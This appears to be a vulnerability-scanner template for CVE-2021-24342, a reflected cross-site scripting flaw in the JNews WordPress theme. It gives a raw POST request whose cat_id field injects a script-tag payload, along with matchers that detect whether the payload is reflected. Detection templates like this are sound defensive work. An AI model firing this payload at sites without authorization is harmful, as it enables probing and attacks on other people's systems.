id: CVE-2021-24342

info:
  name: JNews < 8.0.6 - Reflected Cross-Site Scripting (XSS)
  author: pikpikcu
  severity: medium
  description: JNews WordPress theme before 8.0.6 did not sanitise the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*), leading to a Reflected Cross-Site Scripting (XSS) issue.
  reference:
    - https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24342
  tags: cve,cve2021,wordpress,xss,wp-plugin
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-24342
    cwe-id: CWE-79

requests:
  - raw:
      - |
        POST /?ajax-request=jnews HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67

    matchers-condition: and
    matchers:

      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: word
        words:
          - 'Content-Type: text/html'
        part: header

      - type: status
        status:
          - 200